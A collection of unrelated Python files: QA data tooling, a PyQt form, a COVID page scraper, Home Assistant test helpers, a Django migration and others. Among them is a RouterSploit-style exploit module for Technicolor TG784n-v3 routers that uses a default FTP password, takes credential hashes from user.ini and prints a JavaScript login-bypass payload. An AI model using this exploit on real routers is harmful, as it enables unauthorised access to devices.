sentences[idx + 1])) < MAX_SEQ_LENGTH: # count += 1 # rows.append((q['__id__'], p['id'] + '$$' + str(idx), q['question'], sen + ' . ' + sentences[idx + 1])) # else: # rows.append((q['__id__'], p['id'] + '$$' + str(idx), q['question'], sen)) # else: # rows.append((q['__id__'], p['id'], q['question'], p['text'])) # with open('./data/dev_join2.tsv', 'w') as f: # writer = csv.writer(f, delimiter = '\t') # writer.writerow(('id', 'q_id', 'ans_id', 'question', 'answer', 'is_correct')) # for idx, row in enumerate(rows): # q_id, ans_id, question, ans = row # writer.writerow((str(idx), q_id, ans_id, question, ans.replace('\t', ' '), 0)) def gather_oof_for_train(): probs = None probs_results = [] with open('oof_train.txt', 'r') as f: probs = f.readlines() probs = [p.strip('\n') for p in probs] with open('./data/train.3.tsv', 'r') as f: reader = csv.reader(f, delimiter = '\t', quotechar=None) for idx, r in enumerate(reader): if idx == 0: continue _, q_id, _, _, _, _ = r pos, neg = probs[idx-1].split(',') if len(probs_results) > 0: prev = probs_results[-1] prev_qid, prev_pos, prev_neg = prev if prev_qid == q_id: # already added if float(pos) > float(prev_pos): probs_results[-1] = (q_id, pos, neg) else: # do nothing continue else: probs_results.append((q_id, pos, neg)) else: probs_results.append((q_id, pos, neg)) # if probs is not None: with open('train_oof.csv', 'w') as f: writer = csv.writer(f, delimiter=',') writer.writerow(('q_id', 'pos', 'neg')) for r in probs_results: writer.writerow(r) def gather_oof(split_token='$$'): probs = None probs_results = [] with open('oof.txt', 'r') as f: probs = f.readlines() probs = [p.strip('\n') for p in probs] with open('./data/dev.tsv', 'r') as f: reader = csv.reader(f, delimiter = '\t') for idx, r in enumerate(reader): if idx == 0: continue _, q_id, ans_id, question, answer, _ = r pos, neg = probs[idx-1].split(',') if ans_id.find(split_token) >= 0: # print('????---> ', question) # print(answer) para_id = ans_id.split(split_token)[0] if len(probs_results) > 0: prev = probs_results[-1] prev_qid, prev_pid, prev_pos, prev_neg = prev if prev_qid == q_id and prev_pid == para_id: # already added if float(pos) > float(prev_pos): probs_results[-1] = (q_id, para_id, pos, neg) else: # do nothing continue else: probs_results.append((q_id, para_id, pos, neg)) else: probs_results.append((q_id, ans_id, pos, neg)) # if probs is not None: with open('test_oof.csv', 'w') as f: writer = csv.writer(f, delimiter=',') writer.writerow(('q_id', 'para_id', 'pos', 'neg')) for r in probs_results: writer.writerow(r) def gather_answer(split_token='$$'): is_corrects = None with open('pred_results.txt', 'r') as f: is_corrects = f.readlines() is_corrects = [int(x) for x in is_corrects] results = [] with open('./data/dev.tsv', 'r') as f: reader = csv.reader(f, delimiter = '\t', quotechar=None) for idx, r in enumerate(reader): if idx == 0: continue _, q_id, ans_id, question, answer, _ = r is_correct = is_corrects[idx-1] if is_correct == 1: if ans_id.find(split_token) >= 0: # print('????---> ', question) # print(answer) para_id = ans_id.split(split_token)[0] if len(results) > 0: prev = results[-1] prev_qid, prev_pid = prev if prev_qid == q_id and prev_pid == para_id: # already added continue else: results.append((q_id, para_id)) else: results.append((q_id, ans_id)) with open('submission.csv', 'w') as f: writer = csv.writer(f, delimiter=',') writer.writerow(('test_id', 'answer')) for r in results: writer.writerow(r) def test_train_fm(): # from transformers import glue_processors as processors # p = processors['qqp']() # p.get_labels() # p.get_train_examples('./data') with open('./data/train.tsv', 'r', encoding="utf-8-sig") as f: reader = csv.reader(f, delimiter='\t', quotechar=None) for idx, line in enumerate(reader): if idx > 16986 and idx < 16990: print(idx, line) def test_ner(): content = None with open('./raw/train.json', 'r') as f: content = f.read() data = json.loads(content) names = set() for q in data: title = q['title'] if q['label'] == True: entities = underthesea.ner(title) for idx, e in enumerate(entities): if e[-1] == 'B-PER': txt = e[0] # if txt == 'Na': print(entities) if idx < len(entities) - 1 and entities[idx+1][-1] == 'I-PER': txt += ' ' + entities[idx+1][0] # print (txt) if len(txt.split()) >= 2: names.add(txt) print(names) print('total', len(names)) with open('./data/names.csv', 'w') as f: writer = csv.writer(f, delimiter=',') for n in list(names): writer.writerow((n,)) # print([e for e in entities if e[-1] == 'B-PER']) def get_mask_names(): m = dict() with open('./data/names.csv', 'r') as f: reader = csv.reader(f, delimiter='\t') for r in reader: # print(r) name, a = r # if a.strip() is not None: if a is not None and not a.strip() == '': m[name] = a.strip() return m def mask_name_in_text(text, ori, repl): return text.replace(ori, repl) def mask_names_in_data(): content = None with open('./raw/train.json', 'r') as f: content = f.read() data = json.loads(content) extra = [] name_map = get_mask_names() for q in data: entities = underthesea.ner(q['title']) for idx, e in enumerate(entities): if e[-1] == 'B-PER': txt = e[0] # if txt == 'Na': print(entities) if idx < len(entities) - 1 and entities[idx+1][-1] == 'I-PER': txt += ' ' + entities[idx+1][0] # print (txt) if txt in name_map: # do masking here # make sure that actual name becomes not important new_text = mask_name_in_text(q['text'], txt, name_map[txt]) d = dict(label=q['label'], id=q['id'] + '_msk', question=q['question'], text=new_text, title=q['title']) extra.append(d) print(len(extra)) with open('./raw/masked_train.json', 'w') as f: json.dump(extra, f, indent=4, ensure_ascii=False) return extra def split_data(): lines = None with open('./data/all_train.tsv', 'r') as f: lines = f.readlines() header = lines[0] rest = lines[1:] shuffle(rest) train = [header] + rest[0:24100] val = [header] + rest[24100:] with open('./data/all_trainset.tsv', 'w') as f: f.writelines(train) with open('./data/all_valset.tsv', 'w') as f: f.writelines(val) def check(): with open('./data/bert_train.tsv', 'r') as f: reader = csv.reader(f, delimiter='\t', quotechar=None) with open('./data/bert_train_fixed.tsv', 'w') as o: writer = csv.writer(o, delimiter='\t', quotechar=None) for idx, r in enumerate(reader): if idx == 0: writer.writerow(r) continue r[0] = idx writer.writerow(r) if __name__ == '__main__': # new_main(model_type='xlnet') gather_answer() # test # gather_oof_for_train # a = [] # b = [] # q = False # with open('./data/train.3.tsv', 'r') as f: # reader = csv.reader(f, delimiter = '\t', quotechar=None) # for idx, r in enumerate(reader): # if q: # print(r) # exit(0) # a.append(r) # if r[0] == '6567': # print(r) # q = True # with open('./data/train.3.tsv', 'r') as f: # reader = csv.reader(f, delimiter = '\t') # for r in reader: # b.append(r) # # if r[3].find('\t') >= 0 or r[4].find('\t') >= 0: # for t in r: # if t.find('\t') >= 0 or t.find('\n') >= 0: # print (r) # exit(0) # for i in range(0, len(b)): # if not b[i] == a[i]: # print(b[i]) # print(a[i]) # break
20,126
9d4660d32dfd30d162f4f9aa8e47ceeba74afbaf
import base64 from IPython.display import HTML def create_download_link(df, title = "Download CSV file", filename = "data.csv"): csv = df.to_csv(index=False) b64 = base64.b64encode(csv.encode()) payload = b64.decode() html = '<a download="{filename}" href="data:text/csv;base64,{payload}" target="_blank">{title}</a>' html = html.format(payload=payload,title=title,filename=filename) return HTML(html) df = pd.DataFrame(np.random.randn(50, 4), columns=list('ABCD')) #create_download_link(df) create_download_link(submission)
20,127
e163d8980ee1a1b4ce339cdb5778eb0ebe29e347
# mit type(xxx) lässt sich feststellen, welcher Datentyp vorliegt i = 1 print(type(i)) # <class type 'int'> f = 37.999 print(type(f)) # <class type 'float'> x = 4.0j print(type(x)) # <class type 'complex'> f2 = float(i) print(type(f2), f2) # der Wert aus i wir explizit konvertiert, alles i.0 i2 = int(f) print(type(i2), i2) # der Wert aus f wir explizit konvertiert, Informationsverlust: Kommastellen werden 'abgeschnitten' str1 = '1' i3 = int(str1) print(type(i3), i3) # aus einem String ist ein 'int' geworden str2 = '2.0' i3 = float(str2) print(type(i3), i3) # aus einem String ist ein 'float' geworden """ str3 = 'a' i3 = float(str3) print(type(i3), i3) # aus einem String zu float: Fehler--> 'a' ist keine Zahl. """
20,128
375d5d803528d79637cb35dc76c8d9aa9fdf2156
#! /usr/bin/env python from __future__ import absolute_import from __future__ import division from __future__ import print_function # Generate faster_rcnn_resnet101_astronet.config file and permit varying certain paramters. from google.protobuf import text_format import faster_rcnn_resnet101_astronet_pb2 from object_detection.protos import model_pb2 from object_detection.protos import faster_rcnn_pb2 from object_detection.protos import train_pb2 from object_detection.protos import eval_pb2 from object_detection.protos import input_reader_pb2 from object_detection.protos import optimizer_pb2 from object_detection.protos import image_resizer_pb2 from object_detection.protos import anchor_generator_pb2 from object_detection.protos import grid_anchor_generator_pb2 from object_detection.protos import hyperparams_pb2 from object_detection.protos import box_predictor_pb2 from object_detection.protos import post_processing_pb2 import sys import argparse import os class AstroNetFasterRcnnResnet101Generator: def __init__(self, config_file_name, detection_model, train_config, eval_config, train_input_reader, eval_input_reader): self.config_file_name = config_file_name self.faster_rcnn_astronet = faster_rcnn_resnet101_astronet_pb2.FasterRCNNResnet101AstroNet() self.faster_rcnn_astronet.model.CopyFrom(detection_model) self.faster_rcnn_astronet.train_config.CopyFrom(train_config) self.faster_rcnn_astronet.eval_config.CopyFrom(eval_config) self.faster_rcnn_astronet.train_input_reader.CopyFrom(train_input_reader) self.faster_rcnn_astronet.eval_input_reader.CopyFrom(eval_input_reader) def batch_size(self, batch_size): self.faster_rcnn_astronet.train_config.batch_size = batch_size def initial_learning_rate(self, initial_learning_rate): self.faster_rcnn_astronet.train_config.optimizer.adam_optimizer.learning_rate.exponential_decay_learning_rate.initial_learning_rate = initial_learning_rate def output_config(self): print('config_file:',self.config_file_name) # Write the model back to disk. with open(self.config_file_name, "w") as f: f.write(text_format.MessageToString(self.faster_rcnn_astronet)) class FasterRcnn: def __init__(self): self.faster_rcnn = faster_rcnn_pb2.FasterRcnn() self.image_resizer = image_resizer_pb2.ImageResizer() self.fixed_shape_resizer = image_resizer_pb2.FixedShapeResizer() self.feature_extractor = faster_rcnn_pb2.FasterRcnnFeatureExtractor() self.anchor_generator = anchor_generator_pb2.AnchorGenerator() self.grid_anchor_generator = grid_anchor_generator_pb2.GridAnchorGenerator() self.hyperparams_1st_stage = hyperparams_pb2.Hyperparams() self.hyperparams_2nd_stage = hyperparams_pb2.Hyperparams() self.regularizer_1st_stage = hyperparams_pb2.Regularizer() self.regularizer_2nd_stage = hyperparams_pb2.Regularizer() self.l2_regularizer_1st_stage = hyperparams_pb2.L2Regularizer() self.l2_regularizer_2nd_stage = hyperparams_pb2.L2Regularizer() self.initializer_1st_stage = hyperparams_pb2.Initializer() self.initializer_2nd_stage = hyperparams_pb2.Initializer() self.truncated_normal_initializer = hyperparams_pb2.TruncatedNormalInitializer() self.variance_scaling_initializer = hyperparams_pb2.VarianceScalingInitializer() self.box_predictor = box_predictor_pb2.BoxPredictor() self.mask_rcnn_box_predictor = box_predictor_pb2.MaskRCNNBoxPredictor() self.post_processing = post_processing_pb2.PostProcessing() self.batch_non_max_suppression = post_processing_pb2.BatchNonMaxSuppression() self.fixed_shape_resizer.height = 512 self.fixed_shape_resizer.width = 512 self.image_resizer.fixed_shape_resizer.CopyFrom(self.fixed_shape_resizer) self.feature_extractor.type = 'faster_rcnn_resnet101' self.feature_extractor.first_stage_features_stride = 16 self.grid_anchor_generator.height_stride = 16 self.grid_anchor_generator.width_stride = 16 self.grid_anchor_generator.scales[:] = [0.0625, 0.09375, 0.125, 0.1875, 0.25, 0.375, 0.5, 1.0, 2.0] self.grid_anchor_generator.aspect_ratios.append(1.0) self.anchor_generator.grid_anchor_generator.CopyFrom(self.grid_anchor_generator) self.hyperparams_1st_stage.op = hyperparams_pb2.Hyperparams.CONV self.hyperparams_2nd_stage.op = hyperparams_pb2.Hyperparams.FC self.truncated_normal_initializer.stddev = 0.01 self.variance_scaling_initializer.factor = 1.0 self.variance_scaling_initializer.uniform = True self.variance_scaling_initializer.mode = hyperparams_pb2.VarianceScalingInitializer.FAN_AVG self.initializer_1st_stage.truncated_normal_initializer.CopyFrom(self.truncated_normal_initializer) self.initializer_2nd_stage.variance_scaling_initializer.CopyFrom(self.variance_scaling_initializer) self.hyperparams_1st_stage.initializer.CopyFrom(self.initializer_1st_stage) self.hyperparams_2nd_stage.initializer.CopyFrom(self.initializer_2nd_stage) self.l2_regularizer_1st_stage.weight = 0.0 self.l2_regularizer_2nd_stage.weight = 0.0 self.regularizer_1st_stage.l2_regularizer.CopyFrom(self.l2_regularizer_1st_stage) self.regularizer_2nd_stage.l2_regularizer.CopyFrom(self.l2_regularizer_2nd_stage) self.hyperparams_1st_stage.regularizer.CopyFrom(self.regularizer_1st_stage) self.hyperparams_2nd_stage.regularizer.CopyFrom(self.regularizer_2nd_stage) self.batch_non_max_suppression.score_threshold = 0.0 self.batch_non_max_suppression.iou_threshold = 0.6 self.batch_non_max_suppression.max_detections_per_class = 100 self.batch_non_max_suppression.max_total_detections = 100 self.post_processing.batch_non_max_suppression.CopyFrom(self.batch_non_max_suppression) self.post_processing.score_converter = post_processing_pb2.PostProcessing.SOFTMAX self.faster_rcnn.num_classes = 1 self.faster_rcnn.image_resizer.CopyFrom(self.image_resizer) self.faster_rcnn.feature_extractor.CopyFrom(self.feature_extractor) self.faster_rcnn.first_stage_anchor_generator.CopyFrom(self.anchor_generator) self.faster_rcnn.first_stage_box_predictor_conv_hyperparams.CopyFrom(self.hyperparams_1st_stage) self.faster_rcnn.first_stage_nms_score_threshold = 0.0 self.faster_rcnn.first_stage_nms_iou_threshold = 0.7 self.faster_rcnn.first_stage_max_proposals = 300 self.faster_rcnn.first_stage_localization_loss_weight = 2.0 self.faster_rcnn.first_stage_objectness_loss_weight = 1.0 self.faster_rcnn.initial_crop_size = 14 self.faster_rcnn.maxpool_kernel_size = 2 self.faster_rcnn.maxpool_stride = 2 self.mask_rcnn_box_predictor.fc_hyperparams.CopyFrom(self.hyperparams_2nd_stage) self.mask_rcnn_box_predictor.use_dropout = False self.mask_rcnn_box_predictor.dropout_keep_probability = 1.0 self.box_predictor.mask_rcnn_box_predictor.CopyFrom(self.mask_rcnn_box_predictor) self.faster_rcnn.second_stage_box_predictor.CopyFrom(self.box_predictor) self.faster_rcnn.second_stage_post_processing.CopyFrom(self.post_processing) self.faster_rcnn.second_stage_localization_loss_weight = 2.0 self.faster_rcnn.second_stage_classification_loss_weight = 1.0 class DetectionModel: def __init__(self, faster_rcnn): self.detection_model = model_pb2.DetectionModel() self.detection_model.faster_rcnn.CopyFrom(faster_rcnn) class TrainConfig: def __init__(self): self.train_config = train_pb2.TrainConfig() self.exponential_decay_learning_rate = optimizer_pb2.ExponentialDecayLearningRate() self.exponential_decay_learning_rate.initial_learning_rate = 0.002 self.learning_rate = optimizer_pb2.LearningRate() self.learning_rate.exponential_decay_learning_rate.CopyFrom(self.exponential_decay_learning_rate) self.adam_optimizer = optimizer_pb2.AdamOptimizer() self.adam_optimizer.learning_rate.CopyFrom(self.learning_rate) self.optimizer = optimizer_pb2.Optimizer() self.optimizer.adam_optimizer.CopyFrom(self.adam_optimizer) self.train_config.batch_size = 8 self.train_config.optimizer.CopyFrom(self.optimizer) self.train_config.batch_queue_capacity = 8 self.train_config.num_batch_queue_threads = 8 self.train_config.fine_tune_checkpoint = "/gpfs/projects/ml/astro_net/pretrained_resnet101/model.ckpt" self.train_config.from_detection_checkpoint = True self.train_config.gradient_clipping_by_norm = 10.0 self.train_config.num_steps = 0 # indefinitely self.train_config.max_number_of_boxes = 100 class EvalConfig: def __init__(self): self.eval_config = eval_pb2.EvalConfig() self.eval_config.num_visualizations = 20 self.eval_config.max_evals = 0 # indefinitely self.eval_config.num_examples = 5000 class TFRecordInputReader: def __init__(self): self.tf_record_input_reader = input_reader_pb2.TFRecordInputReader() class TrainTFRecordInputReader(TFRecordInputReader): def __init__(self): super().__init__() self.tf_record_input_reader.input_path.append("/gpfs/projects/ml/data/satdetect/astronet_train_3.tfrecords") class EvalTFRecordInputReader(TFRecordInputReader): def __init__(self): super().__init__() self.tf_record_input_reader.input_path.append("/gpfs/projects/ml/data/satdetect/astronet_valid_3.tfrecords") class InputReader: def __init__(self): self.input_reader = input_reader_pb2.InputReader() class TrainInputReader(InputReader): def __init__(self,tf_record_input_reader): super().__init__() self.input_reader.tf_record_input_reader.CopyFrom(tf_record_input_reader) self.input_reader.label_map_path = "/gpfs/projects/ml/data/satdetect/astronet_label_map_2.pbtxt" class EvalInputReader(InputReader): def __init__(self,tf_record_input_reader): super().__init__() self.input_reader.tf_record_input_reader.CopyFrom(tf_record_input_reader) self.input_reader.label_map_path = "/gpfs/projects/ml/data/satdetect/astronet_label_map_2.pbtxt" self.input_reader.shuffle = False self.input_reader.num_readers = 1 def main(unused_argv): config_file = FLAGS.config_file print(config_file) faster_rcnn = FasterRcnn() detection_model = DetectionModel(faster_rcnn.faster_rcnn) train_config = TrainConfig() eval_config = EvalConfig() train_tfrecord_input_reader = TrainTFRecordInputReader() eval_tfrecord_input_reader = EvalTFRecordInputReader() train_input_reader = TrainInputReader(train_tfrecord_input_reader.tf_record_input_reader) eval_input_reader = EvalInputReader(eval_tfrecord_input_reader.tf_record_input_reader) config_generator = AstroNetFasterRcnnResnet101Generator(config_file, detection_model.detection_model, train_config.train_config, eval_config.eval_config, train_input_reader.input_reader, eval_input_reader.input_reader) config_generator.batch_size(16) config_generator.initial_learning_rate(0.001) config_generator.output_config() print('main: Done') if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--config_file', type=str, default='faster_rcnn_resnet101_astronet_test.config', help='astronet config file name') FLAGS, unparsed = parser.parse_known_args() # tf.app.run(main=main, argv=[sys.argv[0]] + unparsed) main(unparsed)
20,129
7d2dc5cd6565c0138522a6b47ecca30b33b36e5a
from selenium import webdriver from bs4 import BeautifulSoup import pandas as pd import string driver = webdriver.Chrome() pakistan_confirmed_cases=0 recovered=0 deaths=0 critical=0 cases_24hrs=0 deaths_24hrs=0 Test_24hrs=0 Total_Tests=0 ICT=0 PUNJAB=0 SINDH=0 KP=0 BALOCHISTAN=0 AJK=0 GB=0 driver.get("http://covid.gov.pk") content = driver.page_source soup = BeautifulSoup(content) for a in soup.findAll('div', attrs={'id':'statistics'}): Pakistan_Overall=a.find('div', attrs={'class':'row'}) Provinces_Overall=a.find('div', attrs={'class':'row provinc-stat'}) pakistan_confirmed_cases=a.find('h1',attrs={'class':"text-muted numbers-main"}) Pakistan_Overall=Pakistan_Overall.text Provinces_Overall=Provinces_Overall.text pakistan_confirmed_cases=pakistan_confirmed_cases.text Pakistan_Overall=Pakistan_Overall.replace('\n',' ') Provinces_Overall=Provinces_Overall.replace('\n',' ') Pakistan_Overall=Pakistan_Overall.replace('(24','') Pakistan_Overall=Pakistan_Overall.replace('HRS)','') Pakistan_Overall=Pakistan_Overall.replace(',','') Provinces_Overall=Pakistan_Overall.replace(',','') Pakistan_Overall=Pakistan_Overall.split() Provinces_Overall=Provinces_Overall.split() Pakistan_Overall_text=[] Pakistan_Overall_Numbers=[] Provinces_Overall_text=[] Provinces_Overall_Numbers=[] for i in range(len(Pakistan_Overall)): if(Pakistan_Overall[i].isalpha()): Pakistan_Overall_text.append(Pakistan_Overall[i]) print(i,Pakistan_Overall[i]) for i in range(len(Pakistan_Overall)): if(Pakistan_Overall[i].isnumeric()): Pakistan_Overall_Numbers.append(Pakistan_Overall[i]) print(i,Pakistan_Overall[i]) for i in range(len(Provinces_Overall)): if(Provinces_Overall[i].isalpha()): Provinces_Overall_text.append(Provinces_Overall[i]) for i in range(len(Provinces_Overall)): if(Provinces_Overall[i].isnumeric()): Provinces_Overall_Numbers.append(Provinces_Overall[i]) pakistan_confirmed_cases=Pakistan_Overall_Numbers[0] recovered=Pakistan_Overall_Numbers[1] deaths=Pakistan_Overall_Numbers[2] critical=Pakistan_Overall_Numbers[3] cases_24hrs=Pakistan_Overall_Numbers[4] deaths_24hrs=Pakistan_Overall_Numbers[5] Test_24hrs=Pakistan_Overall_Numbers[6] Total_Tests=Pakistan_Overall_Numbers[7] ICT=Provinces_Overall_Numbers[0] PUNJAB=Provinces_Overall_Numbers[1] SINDH=Provinces_Overall_Numbers[2] KP=Provinces_Overall_Numbers[3] BALOCHISTAN=Provinces_Overall_Numbers[4] AJK=Provinces_Overall_Numbers[5] GB=Provinces_Overall_Numbers[6] def getData(): data=[ pakistan_confirmed_cases,recovered,critical,cases_24hrs,deaths_24hrs,Test_24hrs,Total_Tests,ICT,PUNJAB,SINDH,KP,BALOCHISTAN,AJK,GB ] return data
20,130
cd2abacd369d4127c2ae2e0a96bd9d0712de5926
"""Provide common test tools.""" from __future__ import annotations from functools import cache import json from typing import Any from unittest.mock import MagicMock from matter_server.client.models.node import MatterNode from matter_server.common.helpers.util import dataclass_from_dict from matter_server.common.models import EventType, MatterNodeData from homeassistant.core import HomeAssistant from tests.common import MockConfigEntry, load_fixture @cache def load_node_fixture(fixture: str) -> str: """Load a fixture.""" return load_fixture(f"matter/nodes/{fixture}.json") def load_and_parse_node_fixture(fixture: str) -> dict[str, Any]: """Load and parse a node fixture.""" return json.loads(load_node_fixture(fixture)) async def setup_integration_with_node_fixture( hass: HomeAssistant, node_fixture: str, client: MagicMock, ) -> MatterNode: """Set up Matter integration with fixture as node.""" node_data = load_and_parse_node_fixture(node_fixture) node = MatterNode( dataclass_from_dict( MatterNodeData, node_data, ) ) client.get_nodes.return_value = [node] client.get_node.return_value = node config_entry = MockConfigEntry( domain="matter", data={"url": "http://mock-matter-server-url"} ) config_entry.add_to_hass(hass) assert await hass.config_entries.async_setup(config_entry.entry_id) await hass.async_block_till_done() return node def set_node_attribute( node: MatterNode, endpoint: int, cluster_id: int, attribute_id: int, value: Any, ) -> None: """Set a node attribute.""" attribute_path = f"{endpoint}/{cluster_id}/{attribute_id}" node.endpoints[endpoint].set_attribute_value(attribute_path, value) async def trigger_subscription_callback( hass: HomeAssistant, client: MagicMock, event: EventType = EventType.ATTRIBUTE_UPDATED, data: Any = None, ) -> None: """Trigger a subscription callback.""" callback = client.subscribe_events.call_args.kwargs["callback"] callback(event, data) await hass.async_block_till_done()
20,131
44d7d4270494ca783234023d0129ed7ce21af572
import re from maza.core.exploit import * from maza.core.ftp.ftp_client import FTPClient class Exploit(FTPClient): __info__ = { "name": "Technicolor TG784n-v3 Auth Bypass", "description": "Module exploits Technicolor TG784n-v3 authentication bypass vulnerability.", "authors": ( "Jose Moreira", # vulnerability discovery & analysis "0BuRner", # routersploit module "Marcin Bury <marcin[at]threat9.com>", # little fixes ), "references": ( "http://modem-help.forum-phpbb.co.uk/t1-fixing-username-password-problems", "http://modem-help.forum-phpbb.co.uk/t2-howto-root-tg784", ), "devices": ( "Technicolor TG784n-v3", "Unknown number of Technicolor and Thompson routers", ) } target = OptIP("", "Target IPv4 or IPv6 address") port = OptPort(21, "Target FTP port") username = OptString("upgrade", "Default FTP username") password = OptString("Th0ms0n!", "Default FTP password for \"upgrade\" user") def run(self): creds = self.get_credentials() if creds: print_success("Found encrypted credentials:") print_table(("Name", "Password", "Role", "Hash2", "Crypt"), *creds) print_status("Use javascript console (through developer tools) to bypass authentication:") payload = ('var user = "{}"\n' 'var hash2 = "{}";\n' 'var HA2 = MD5("GET" + ":" + uri);\n' 'document.getElementById("user").value = user;\n' 'document.getElementById("hidepw").value = MD5(hash2 + ":" + nonce +":" + "00000001" + ":" + "xyz" + ":" + qop + ":" + HA2);\n' 'document.authform.submit();\n') for user in creds: print_success("User: {} Role: {}".format(user[0], user[2])) print_info(payload.format(user[0], user[3])) else: print_error("Exploit failed - target seems to be not vulnerable") @mute def check(self): if self.get_credentials(): return True return False def get_credentials(self): print_status("Trying FTP authentication with Username: {} and Password: {}".format(self.username, self.password)) ftp_client = self.ftp_create() if ftp_client.login(self.username, self.password): print_success("Authentication successful") content = self.ftp_get_content(ftp_client, "user.ini") creds = re.findall(r"add name=(.*) password=(.*) role=(.*) hash2=(.*) crypt=(.*)\r\n", str(content, "utf-8")) return creds else: print_error("Exploit failed - authentication failed") return None
20,132
9376104e5d49cb335b72da8bac3047f791642840
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'F:\Dev\overtime-management\ui_tablewindow.ui' # # Created: Wed Sep 13 12:56:29 2017 # by: PyQt4 UI code generator 4.11.3 # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: def _fromUtf8(s): return s try: _encoding = QtGui.QApplication.UnicodeUTF8 def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig, _encoding) except AttributeError: def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig) class Ui_Form(QtGui.QWidget): def setupUi(self, Form): Form.setObjectName(_fromUtf8("Form")) Form.resize(779, 511) self.layoutWidget = QtGui.QWidget(Form) self.layoutWidget.setGeometry(QtCore.QRect(20, 20, 751, 371)) self.layoutWidget.setObjectName(_fromUtf8("layoutWidget")) self.verticalLayout = QtGui.QVBoxLayout(self.layoutWidget) self.verticalLayout.setMargin(0) self.verticalLayout.setObjectName(_fromUtf8("verticalLayout")) self.pushButton = QtGui.QPushButton(self.layoutWidget) self.pushButton.setMinimumSize(QtCore.QSize(0, 30)) self.pushButton.setMaximumSize(QtCore.QSize(100, 16777215)) font = QtGui.QFont() font.setPointSize(10) self.pushButton.setFont(font) self.pushButton.setObjectName(_fromUtf8("pushButton")) self.verticalLayout.addWidget(self.pushButton) self.tableWidget = QtGui.QTableWidget(self.layoutWidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tableWidget.sizePolicy().hasHeightForWidth()) self.tableWidget.setSizePolicy(sizePolicy) self.tableWidget.setMinimumSize(QtCore.QSize(0, 0)) self.tableWidget.setColumnCount(5) self.tableWidget.setObjectName(_fromUtf8("tableWidget")) self.tableWidget.setRowCount(0) self.verticalLayout.addWidget(self.tableWidget) self.verticalLayout.setStretch(1, 1) self.horizontalLayoutWidget = QtGui.QWidget(Form) self.horizontalLayoutWidget.setGeometry(QtCore.QRect(610, 400, 161, 80)) self.horizontalLayoutWidget.setObjectName(_fromUtf8("horizontalLayoutWidget")) self.horizontalLayout = QtGui.QHBoxLayout(self.horizontalLayoutWidget) self.horizontalLayout.setSizeConstraint(QtGui.QLayout.SetDefaultConstraint) self.horizontalLayout.setMargin(0) self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout")) self.pushButton_2 = QtGui.QPushButton(self.horizontalLayoutWidget) self.pushButton_2.setMaximumSize(QtCore.QSize(100, 35)) font = QtGui.QFont() font.setPointSize(10) self.pushButton_2.setFont(font) self.pushButton_2.setAutoDefault(False) self.pushButton_2.setDefault(False) self.pushButton_2.setFlat(False) self.pushButton_2.setObjectName(_fromUtf8("pushButton_2")) self.horizontalLayout.addWidget(self.pushButton_2) self.horizontalLayoutWidget_2 = QtGui.QWidget(Form) self.horizontalLayoutWidget_2.setGeometry(QtCore.QRect(40, 400, 161, 81)) self.horizontalLayoutWidget_2.setObjectName(_fromUtf8("horizontalLayoutWidget_2")) self.horizontalLayout_2 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_2) self.horizontalLayout_2.setSpacing(0) self.horizontalLayout_2.setMargin(0) self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2")) self.label = QtGui.QLabel(self.horizontalLayoutWidget_2) self.label.setMaximumSize(QtCore.QSize(90, 30)) font = QtGui.QFont() font.setFamily(_fromUtf8("Adobe Arabic")) font.setPointSize(12) font.setBold(True) font.setWeight(75) self.label.setFont(font) self.label.setLayoutDirection(QtCore.Qt.LeftToRight) self.label.setAutoFillBackground(False) self.label.setFrameShape(QtGui.QFrame.NoFrame) self.label.setFrameShadow(QtGui.QFrame.Sunken) self.label.setAlignment(QtCore.Qt.AlignCenter) self.label.setObjectName(_fromUtf8("label")) self.horizontalLayout_2.addWidget(self.label) self.totaltime = QtGui.QLabel(self.horizontalLayoutWidget_2) self.totaltime.setMaximumSize(QtCore.QSize(50, 30)) font = QtGui.QFont() font.setFamily(_fromUtf8("Arial")) font.setPointSize(12) font.setBold(True) font.setWeight(75) self.totaltime.setFont(font) self.totaltime.setAlignment(QtCore.Qt.AlignCenter) self.totaltime.setObjectName(_fromUtf8("totaltime")) self.horizontalLayout_2.addWidget(self.totaltime) self.label_3 = QtGui.QLabel(self.horizontalLayoutWidget_2) self.label_3.setMaximumSize(QtCore.QSize(80, 30)) font = QtGui.QFont() font.setFamily(_fromUtf8("Adobe Arabic")) font.setPointSize(12) font.setBold(True) font.setWeight(75) self.label_3.setFont(font) self.label_3.setLayoutDirection(QtCore.Qt.LeftToRight) self.label_3.setAutoFillBackground(False) self.label_3.setFrameShape(QtGui.QFrame.NoFrame) self.label_3.setFrameShadow(QtGui.QFrame.Sunken) self.label_3.setAlignment(QtCore.Qt.AlignCenter) self.label_3.setObjectName(_fromUtf8("label_3")) self.horizontalLayout_2.addWidget(self.label_3) self.tableWidget.horizontalHeader().setResizeMode(QtGui.QHeaderView.Stretch) self.retranslateUi(Form) QtCore.QMetaObject.connectSlotsByName(Form) def retranslateUi(self, Form): Form.setWindowTitle(_translate("Form", "Form", None)) self.pushButton.setText(_translate("Form", "导出Excel表格", None)) self.pushButton_2.setText(_translate("Form", "保存修改", None)) self.label.setText(_translate("Form", "加班总计", None)) self.totaltime.setText(_translate("Form", "0", None)) self.label_3.setText(_translate("Form", "小时", None))
20,133
30b256c0ceeba86d713c7a04dc80b679426acea5
# Generated by Django 3.1.6 on 2021-02-18 19:12 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('home', '0004_auto_20210218_1039'), ] operations = [ migrations.RemoveField( model_name='harvestrecord', name='usered', ), migrations.AlterField( model_name='harvestrecord', name='farmercode', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='home.regfarmer'), ), ]
20,134
0ae5db7188aa10f93b438c958716718940cddf07
